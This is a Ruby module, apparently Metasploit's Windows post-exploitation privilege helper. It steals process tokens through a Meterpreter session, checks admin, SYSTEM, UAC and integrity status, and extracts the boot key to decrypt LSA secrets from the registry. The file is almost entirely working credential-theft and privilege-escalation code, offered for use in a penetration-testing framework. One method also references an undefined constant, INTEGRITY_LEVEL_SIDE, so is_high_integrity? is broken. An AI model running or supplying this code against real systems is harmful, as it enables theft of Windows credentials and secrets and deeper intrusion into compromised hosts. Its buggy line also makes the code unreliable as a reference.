418 lines
11 KiB
Ruby
418 lines
11 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'msf/core/post/windows/accounts'
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
module Msf::Post::Windows::Priv
|
|
include ::Msf::Post::Windows::Accounts
|
|
include Msf::Post::Windows::Registry
|
|
|
|
INTEGRITY_LEVEL_SID = {
|
|
:low => 'S-1-16-4096',
|
|
:medium => 'S-1-16-8192',
|
|
:high => 'S-1-16-12288',
|
|
:system => 'S-1-16-16384'
|
|
}
|
|
|
|
SYSTEM_SID = 'S-1-5-18'
|
|
ADMINISTRATORS_SID = 'S-1-5-32-544'
|
|
|
|
# http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
|
|
# ConsentPromptBehaviorAdmin
|
|
UAC_NO_PROMPT = 0
|
|
UAC_PROMPT_CREDS_IF_SECURE_DESKTOP = 1
|
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP = 2
|
|
UAC_PROMPT_CREDS = 3
|
|
UAC_PROMPT_CONSENT = 4
|
|
UAC_DEFAULT = 5
|
|
|
|
#
|
|
# Returns true if user is admin and false if not.
|
|
#
|
|
def is_admin?
|
|
if session_has_ext
|
|
# Assume true if the OS doesn't expose this (Windows 2000)
|
|
session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
|
|
else
|
|
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
|
if local_service_key
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
|
|
# Steals the current user's token.
|
|
# @see steal_token
|
|
def steal_current_user_token
|
|
steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
|
|
end
|
|
|
|
#
|
|
# Steals a token for a user.
|
|
# @param String computer_name Computer name.
|
|
# @param String user_name To token to steal from. If not set, it will try to steal
|
|
# the current user's token.
|
|
# @return [boolean] TrueClass if successful, otherwise FalseClass.
|
|
# @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
|
|
#
|
|
def steal_token(computer_name, user_name)
|
|
pid = nil
|
|
|
|
session.sys.process.processes.each do |p|
|
|
if p['user'] == "#{computer_name}\\#{user_name}"
|
|
pid = p['pid']
|
|
end
|
|
end
|
|
|
|
unless pid
|
|
vprint_error("No PID found for #{user_name}")
|
|
return false
|
|
end
|
|
|
|
vprint_status("Stealing token from PID #{pid} for #{user_name}")
|
|
|
|
begin
|
|
session.sys.config.steal_token(pid)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
# It could raise an exception even when the token is successfully stolen,
|
|
# so we will just log the exception and move on.
|
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
|
|
#
|
|
# Returns true if in the administrator group
|
|
#
|
|
def is_in_admin_group?
|
|
whoami = get_whoami
|
|
|
|
if whoami.nil?
|
|
print_error("Unable to identify admin group membership")
|
|
return nil
|
|
elsif whoami.include? ADMINISTRATORS_SID
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
#
|
|
# Returns true if running as Local System
|
|
#
|
|
def is_system?
|
|
if session_has_ext
|
|
local_sys = resolve_sid(SYSTEM_SID)
|
|
if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
else
|
|
results = registry_enumkeys('HKLM\SAM\SAM')
|
|
if results
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
|
|
#
|
|
# Returns true if UAC is enabled
|
|
#
|
|
# Returns false if the session is running as system, if uac is disabled or
|
|
# if running on a system that does not have UAC
|
|
#
|
|
def is_uac_enabled?
|
|
uac = false
|
|
winversion = session.sys.config.sysinfo['OS']
|
|
|
|
if winversion =~ /Windows (Vista|7|8|2008|2012|10)/
|
|
unless is_system?
|
|
begin
|
|
enable_lua = registry_getvaldata(
|
|
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
|
'EnableLUA'
|
|
)
|
|
uac = (enable_lua == 1)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
|
|
end
|
|
end
|
|
end
|
|
return uac
|
|
end
|
|
|
|
#
|
|
# Returns the UAC Level
|
|
#
|
|
# @see http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
|
|
# 2 - Always Notify, 5 - Default, 0 - Disabled
|
|
#
|
|
def get_uac_level
|
|
begin
|
|
uac_level = registry_getvaldata(
|
|
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
|
|
'ConsentPromptBehaviorAdmin'
|
|
)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Error Checking UAC Level: #{e.class} #{e}")
|
|
end
|
|
|
|
if uac_level
|
|
return uac_level
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
#
|
|
# Returns the Integrity Level
|
|
#
|
|
def get_integrity_level
|
|
whoami = get_whoami
|
|
|
|
if whoami.nil?
|
|
print_error("Unable to identify integrity level")
|
|
return nil
|
|
else
|
|
INTEGRITY_LEVEL_SID.each_pair do |k,sid|
|
|
if whoami.include? sid
|
|
return sid
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
#
|
|
# Returns true if in a high integrity, or system, service
|
|
#
|
|
def is_high_integrity?
|
|
il = get_integrity_level
|
|
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system])
|
|
end
|
|
|
|
#
|
|
# Returns the output of whoami /groups
|
|
#
|
|
# Returns nil if Windows whoami is not available
|
|
#
|
|
def get_whoami
|
|
whoami = cmd_exec('cmd.exe /c whoami /groups')
|
|
|
|
if whoami.nil? or whoami.empty?
|
|
return nil
|
|
elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/
|
|
return nil
|
|
else
|
|
return whoami
|
|
end
|
|
end
|
|
|
|
#
|
|
# Return true if the session has extended capabilities (ie meterpreter)
|
|
#
|
|
def session_has_ext
|
|
begin
|
|
return !!(session.railgun and session.sys.config)
|
|
rescue NoMethodError
|
|
return false
|
|
end
|
|
end
|
|
|
|
#
|
|
# Returns the unscrambled bootkey
|
|
#
|
|
def capture_boot_key
|
|
bootkey = ""
|
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
|
|
|
%W{JD Skew1 GBG Data}.each do |k|
|
|
begin
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
end
|
|
|
|
return nil if not ok
|
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
|
ok.close
|
|
end
|
|
|
|
keybytes = bootkey.unpack("C*")
|
|
descrambled = ""
|
|
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
|
|
|
0.upto(keybytes.length-1) do |x|
|
|
descrambled << [keybytes[descrambler[x]]].pack("C")
|
|
end
|
|
|
|
return descrambled
|
|
end
|
|
|
|
#
|
|
# Converts DES 56 to DES 64
|
|
#
|
|
def convert_des_56_to_64(kstr)
|
|
des_odd_parity = [
|
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
|
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
|
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
|
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
|
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
|
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
|
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
|
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
|
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
|
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
|
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
|
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
|
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
|
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
|
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
|
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
|
]
|
|
|
|
key = []
|
|
str = kstr.unpack("C*")
|
|
|
|
key[0] = str[0] >> 1
|
|
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
|
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
|
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
|
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
|
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
|
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
|
key[7] = str[6] & 0x7F
|
|
|
|
0.upto(7) do |i|
|
|
key[i] = ( key[i] << 1)
|
|
key[i] = des_odd_parity[key[i]]
|
|
end
|
|
return key.pack("C*")
|
|
end
|
|
|
|
#
|
|
# Returns the LSA key upon input of the unscrambled bootkey
|
|
#
|
|
# @note This requires the session be running as SYSTEM
|
|
#
|
|
def capture_lsa_key(bootkey)
|
|
vprint_status("Getting PolSecretEncryptionKey...")
|
|
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
|
|
if pol
|
|
print_status("XP or below system")
|
|
@lsa_vista_style = false
|
|
md5x = Digest::MD5.new()
|
|
md5x << bootkey
|
|
(1..1000).each do
|
|
md5x << pol[60,16]
|
|
end
|
|
|
|
rc4 = OpenSSL::Cipher.new("rc4")
|
|
rc4.key = md5x.digest
|
|
lsa_key = rc4.update(pol[12,48])
|
|
lsa_key << rc4.final
|
|
lsa_key = lsa_key[0x10..0x1F]
|
|
else
|
|
print_status("Vista or above system")
|
|
@lsa_vista_style = true
|
|
|
|
vprint_status("Trying 'V72' style...")
|
|
vprint_status("Getting PolEKList...")
|
|
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
|
|
|
|
# If that didn't work, then we're out of luck
|
|
return nil if pol.nil?
|
|
|
|
lsa_key = decrypt_lsa_data(pol, bootkey)
|
|
lsa_key = lsa_key[68,32]
|
|
end
|
|
|
|
vprint_good(lsa_key.unpack("H*")[0])
|
|
return lsa_key
|
|
end
|
|
|
|
# Whether this system has Vista-style secret keys
|
|
#
|
|
# @return [Boolean] True if this session has keys in the PolEKList
|
|
# registry key, false otherwise.
|
|
def lsa_vista_style?
|
|
if @lsa_vista_style.nil?
|
|
@lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", ""))
|
|
end
|
|
|
|
@lsa_vista_style
|
|
end
|
|
|
|
# Decrypts LSA encrypted data
|
|
#
|
|
# @param policy_secret [String] The encrypted data stored in the
|
|
# registry.
|
|
# @param lsa_key [String] The key as returned by {#capture_lsa_key}
|
|
# @return [String] The decrypted data
|
|
def decrypt_lsa_data(policy_secret, lsa_key)
|
|
|
|
sha256x = Digest::SHA256.new()
|
|
sha256x << lsa_key
|
|
1000.times do
|
|
sha256x << policy_secret[28,32]
|
|
end
|
|
|
|
aes = OpenSSL::Cipher.new("aes-256-cbc")
|
|
aes.key = sha256x.digest
|
|
|
|
vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
|
|
|
|
decrypted_data = ''
|
|
|
|
(60...policy_secret.length).step(16) do |i|
|
|
aes.decrypt
|
|
aes.padding = 0
|
|
decrypted_data << aes.update(policy_secret[i,16])
|
|
end
|
|
|
|
return decrypted_data
|
|
end
|
|
|
|
# Decrypts "Secret" encrypted data
|
|
#
|
|
# Ruby implementation of SystemFunction005. The original python code
|
|
# has been taken from Credump
|
|
#
|
|
# @param secret [String]
|
|
# @param key [String]
|
|
# @return [String] The decrypted data
|
|
def decrypt_secret_data(secret, key)
|
|
|
|
j = 0
|
|
decrypted_data = ''
|
|
|
|
for i in (0...secret.length).step(8)
|
|
enc_block = secret[i..i+7]
|
|
block_key = key[j..j+6]
|
|
des_key = convert_des_56_to_64(block_key)
|
|
d1 = OpenSSL::Cipher.new('des-ecb')
|
|
|
|
d1.padding = 0
|
|
d1.key = des_key
|
|
d1o = d1.update(enc_block)
|
|
d1o << d1.final
|
|
decrypted_data += d1o
|
|
j += 7
|
|
if (key[j..j+7].length < 7 )
|
|
j = key[j..j+7].length
|
|
end
|
|
end
|
|
dec_data_len = decrypted_data[0].ord
|
|
|
|
return decrypted_data[8..8+dec_data_len]
|
|
|
|
end
|
|
|
|
end
|